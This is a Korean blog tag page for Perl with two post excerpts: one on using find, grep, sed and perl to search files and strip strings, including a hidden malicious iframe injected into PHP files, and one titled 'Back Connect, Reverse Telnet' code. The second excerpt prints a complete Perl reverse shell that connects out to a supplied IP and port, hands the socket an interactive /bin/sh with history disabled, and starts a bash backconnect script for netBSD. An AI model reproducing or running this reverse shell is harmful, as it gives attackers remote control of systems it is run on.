[태그:] Perl

파일에서 특정 내용 삭제하기

[파일내의 특정 문자열 찾기] find ./ | xargs grep "찾을문자열" –color=auto grep -r "찾을 문자열" –color=auto * [파일내의 특정 문자열을 찾아 해당 내용을 삭제하기] find ./ -name "*.php" -exec sed -i 's/old/new/g' {} \; find ./ -name "*.php" -exec perl -pi -e 's/old/new/g' {} \; find ./ -name "*.php" -exec sed -i 's/<iframe src="http:\/\/h.nexprice.com\/css\/x.htm" width=0 …

Back Connect, Reverse Telnet 코드

perl #!/usr/bin/perl use Socket; use FileHandle; $IP = $ARGV[0]; $PORT = $ARGV[1]; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')); connect(SOCKET, sockaddr_in($PORT,inet_aton($IP))); SOCKET->autoflush(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); system("id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i"); bash #!/usr/pkg/bin/bash # Author : Teo Manojlovic # ################################ # # Reverse netBSD backconnect script written in bash # ################################ # # Tested on netBSD 5.0.1 # # …